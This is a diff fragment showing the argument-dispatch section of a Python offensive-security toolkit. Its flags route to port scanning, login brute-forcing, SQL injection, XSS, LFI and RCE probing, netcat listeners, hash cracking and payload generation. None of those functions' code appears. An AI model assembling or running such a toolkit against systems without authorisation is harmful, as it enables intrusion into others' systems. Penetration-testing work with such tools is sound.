+ parser.add_argument("--VERBOSE", "-v", action="store_true", help="Verbose mode")
452
+
453
+ args = parser.parse_args()
454
+
455
+ if args.VERBOSE:
456
+ VERBOSE = True
457
+
458
+ if args.SCAN:
459
+ if not args.TARGET: return print("[!] Need --TARGET")
460
+ scan_ports(args.TARGET)
461
+ elif args.OS:
462
+ if not args.TARGET: return print("[!] Need --TARGET")
463
+ detect_os(args.TARGET)
464
+ elif args.RECON:
465
+ if not args.TARGET or not args.WORDLIST: return print("[!] Need --TARGET and --WORDLIST")
466
+ subdomain_enum(args.TARGET, args.WORDLIST)
467
+ elif args.DNS:
468
+ if not args.TARGET: return print("[!] Need --TARGET")
469
+ dns_enum(args.TARGET)
470
+ elif args.BRUTE:
471
+ if not args.TARGET or not args.USER or not args.WORDLIST:
472
+ return print("[!] Need --TARGET, --USER, --WORDLIST")
473
+ brute_force(args.TARGET, args.USER, args.WORDLIST)
474
+ elif args.FUZZ:
475
+ if not args.URL or not args.WORDLIST: return print("[!] Need --URL and --WORDLIST")
476
+ dir_fuzz(args.URL, args.WORDLIST)
477
+ elif args.SQLI:
478
+ if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
479
+ sql_injection(args.URL, args.PARAM)
480
+ elif args.XSS:
481
+ if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
482
+ xss_scan(args.URL, args.PARAM)
483
+ elif args.LFI:
484
+ if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
485
+ lfi_scan(args.URL, args.PARAM)
486
+ elif args.RCE:
487
+ if not args.URL or not args.PARAM: return print("[!] Need --URL and --PARAM")
488
+ rce_scan(args.URL, args.PARAM)
489
+ elif args.SMB:
490
+ if not args.TARGET: return print("[!] Need --TARGET")
491
+ smb_enum(args.TARGET)
492
+ elif args.LDAP:
493
+ if not args.TARGET: return print("[!] Need --TARGET")
494
+ ldap_enum(args.TARGET)
495
+ elif args.SNMP:
496
+ if not args.TARGET: return print("[!] Need --TARGET")
497
+ snmp_enum(args.TARGET)
498
+ elif args.NC:
499
+ if not args.PORT: return print("[!] Need --PORT")
500
+ netcat_listen(args.PORT)
501
+ elif args.NC_CONNECT:
502
+ if not args.TARGET or not args.PORT: return print("[!] Need --TARGET and --PORT")
503
+ netcat_connect(args.TARGET, args.PORT)
504
+ elif args.SSH:
505
+ if not args.TARGET or not args.USER: return print("[!] Need --TARGET and --USER")
506
+ ssh_client(args.TARGET, args.USER)
507
+ elif args.SCP:
508
+ if not args.TARGET or not args.USER or not args.SOURCE or not args.DEST:
509
+ return print("[!] Need --TARGET, --USER, --SOURCE, --DEST")
510
+ scp_client(args.TARGET, args.USER, args.SOURCE, args.DEST)
511
+ elif args.RSYNC:
512
+ if not args.TARGET or not args.SOURCE or not args.DEST:
513
+ return print("[!] Need --TARGET, --SOURCE, --DEST")
514
+ rsync_client(args.TARGET, args.SOURCE, args.DEST)
515
+ elif args.GIT:
516
+ if not args.REPO: return print("[!] Need --REPO")
517
+ git_client(args.REPO)
518
+ elif args.DOCKER:
519
+ if not args.COMMAND: return print("[!] Need --COMMAND")
520
+ docker_client(args.COMMAND)
521
+ elif args.CRACK:
522
+ if not args.HASH_VALUE or not args.WORDLIST:
523
+ return print("[!] Need --HASH-VALUE and --WORDLIST")
524
+ crack_hash(args.HASH_VALUE, args.WORDLIST)
525
+ elif args.EXPLOIT:
526
+ generate_payloads()
527
+ elif args.OSINT:
528
+ if not args.TARGET: return print("[!] Need --TARGET")
529
+ if "@" in args.TARGET:
530
+ osint_email(args.TARGET)
531
+ else:
532
+ osint_domain(args.TARGET)
533
+ elif args.ENCODE:
534
+ if not args.INPUT: return print("[!] Need --INPUT")
535
+ encode_text(args.INPUT)
536
+ elif args.HASH:
537
+ if not args.INPUT: return print("[!] Need --INPUT")
538
+ generate_hashes(args.INPUT)
539
+ elif args.GENERATE:
540
+ code = generate_code(args.LANGUAGE)
541
+ print(code)
542
+ else:
543
+ parser.print_help()
544
+
545
+ if __name__ == "__main__":
546
+ main()